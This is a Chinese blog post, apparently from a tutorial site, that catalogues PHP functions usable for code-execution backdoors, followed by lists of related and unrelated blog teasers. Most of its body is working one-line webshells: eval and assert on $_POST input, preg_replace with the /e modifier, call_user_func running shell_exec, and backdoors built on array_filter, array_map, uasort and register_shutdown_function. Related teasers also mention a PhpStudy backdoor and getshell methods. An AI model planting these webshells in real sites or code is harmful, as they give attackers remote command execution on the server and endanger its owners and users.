PHP常见代码执行后门函数
PHP常见代码执行后门函数
代码执行:
应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
常见php代码执行函数介绍
常用执行代码函数
1、eval():
<?php @eval($_POST['hacker']); ?>
eval函数将接受的字符串当做代码执行
2、 assert():
用法和 eval()一样
<?php @assert($_POST['hacker']); ?>
3、preg_replace():
<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行
4、 create_function():
<?php
$newfun = create_function('$hacker', 'echo $hacker;');
$newfun('woaini');
?>
创建了一个匿名函数,并返回了一个独一无二的函数名
5、 call_user_func():
<?php
echo call_user_func('shell_exec','whoami');
?>
<?php
call_user_func_array('assert', array($_POST['pass']));
?>
函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数
6、更多回调函数
call_user_func_array()
call_user_func()
array_filter()
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
<?php forward_static_call_array(assert,array($_POST[x]));?>
解释:把函数作为参数传入进另一个函数中使用。
call_user_func
把第一个参数作为回调函数调用
call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数
usort
使用用户自定义的比较函数对数组中的值进行排序
register_shutdown_function
<?php register_shutdown_function('assert','phpinfo();');?>
注册一个会在php中止时执行的函数
array_map
为数组的每个元素应用回调函数
array_walk
使用用户自定义函数对数组中的每个元素做回调处理
array_filter
用回调函数过滤数组中的单元
array_reduce
用回调函数迭代地将数组简化为单一的值
array_udiff
用回调函数比较数据来计算数组的差集
array_uintersect
计算数组的交集,用回调函数比较数据
array_diff_uassoc
用用户提供的回调函数做索引检查来计算数组的差集
array_diff_ukey
用回调函数对键名比较计算数组的差集
例子:
<?php
//数组回调进行构造后门
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回调函数进行构造
?>
PHP常见代码执行后门函数的更多相关文章
- PhpStudy代码执行后门
0x00 概述 只需要两个参数 Accept-Encoding: gzip,deflate Accept-Charset: Base64编码(PHP代码) 0x01 利用代码 加群可以下载:87369 ...
- 将字符串当做是php代码执行的函数eavl()
- PHP代码执行函数总结
PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳. 常见代码执行函数,如 eval().assert().preg_replace().create ...
- Pikachu-RCE(远程命令/代码执行漏洞)
RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为 ...
- PHP安全(文件包含、变量覆盖、代码执行)
文件包含漏洞 本地文件包含 截断技巧: ../../etc/passwd%00(\x00 \0) 利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的.目录字符串,在windows下25 ...
- 菜刀(代码执行)函数和命令执行函数详解及Getshell方法
i春秋作家:大家奥斯的哦 原文来自:https://bbs.ichunqiu.com/thread-41471-1-1.html 代码执行函数 VS 命令执行函数 一直想整理这两块的内容,但是一直没时 ...
- php中代码执行&&命令执行函数
转自i春秋 1.eval()函数 #传入的参数必须为PHP代码,既需要以分号结尾. #命令執行:cmd=system(whoami); #菜刀连接密码:cmd <?php @eval($_POS ...
- 【随笔】菜刀(代码执行)函数和命令执行函数详解及Getshell方法
代码执行函数 VS 命令执行函数 一直想整理这两块的内容,但是一直没时间弄,直到前两天碰上一个写入了菜刀马但是死活连不上菜刀的站,顿时不知道怎么继续了,所以就趁这个机会整理了一下代码执行函数怎么get ...
- MySQL (九)-- 代码执行结构、函数、存储过程
1 代码执行结构 代码执行结构有三种:顺序结构.分支结构和循环结构. 1.1 分支结构 分支结构:实现准备多个代码块,按照条件选择性执行某段代码. 在MySQL中只有if分支. 基本语法 if 条件判 ...
随机推荐
- 临近年关,修复ASPNETCore因浏览器内核版本引发的单点登陆故障
临近年关,咨询师提出360,搜狗急速浏览器无法单点登陆到公司核心产品WD, 报重定向过多. 现象 经过测试, 出现单点登陆故障的是搜狗,360等主打双核(默认Chrome内核)的浏览器, 较新式的Ed ...
- 02.flask-script
网址:https://pypi.org/project/Flask-Script/ 文档:https://flask-script.readthedocs.io/en/latest/ 1.安装 2.新 ...
- Java入门 - 高级教程 - 05.网络编程
原文地址:http://www.work100.net/training/java-networking.html 更多教程:光束云 - 免费课程 网络编程 序号 文内章节 视频 1 概述 2 Soc ...
- 解决谷歌浏览器设置font-family属性不起作用,(css中设置了font-family:没有用)css字体属性没用
嗯,这个问题百思不得解.其他的浏览器器都没问题,在谷歌上就不行,网上找了很多,都没效果,后才发现,当然同样的问题可能错不一样的地方,我的解决方案: 感觉主要原因是自己也没查到,乱改一堆,就OK啦: 1 ...
- 第二阶段冲刺个人任务——six
今日任务: 搭建网络服务器,上传数据库及程序. 昨日成果: 合并程序(统计团队博客).
- 第二阶段冲刺个人任务——four
今日任务: 优化统计团队博客结果界面的显示. 昨日成果: 优化统计个人博客结果页面的显示.
- 使用Async方法 Using Async Methods 精通ASP-NET-MVC-5-弗瑞曼 Listing 4-32.
- 巨坑练习题!!!—— Car的旅行线路
在看题目之前,请童鞋们做好心理准备╮(╯▽╰)╭ 题目描述 又到暑假了,住在城市A的Car想和朋友一起去城市B旅游. 她知道每个城市都有四个飞机场,分别位于一个矩形的四个顶点上,同一个城市中两个机场之 ...
- NOI2.6 8782: 乘积最大
描述 今年是国际数学联盟确定的"2000--世界数学年",又恰逢我国著名数学家华罗庚先生诞辰90周年.在华罗庚先生的家乡江苏金坛,组织了一场别开生面的数学智力竞赛的活动,你的一个好 ...
- 第二次团队作业-需求分析(By七个小矮人)
第二次团队作业-需求分析 一.格式描述 这个作业属于哪个课程 https://edu.cnblogs.com/campus/xnsy/GeographicInformationScience/ 这个作 ...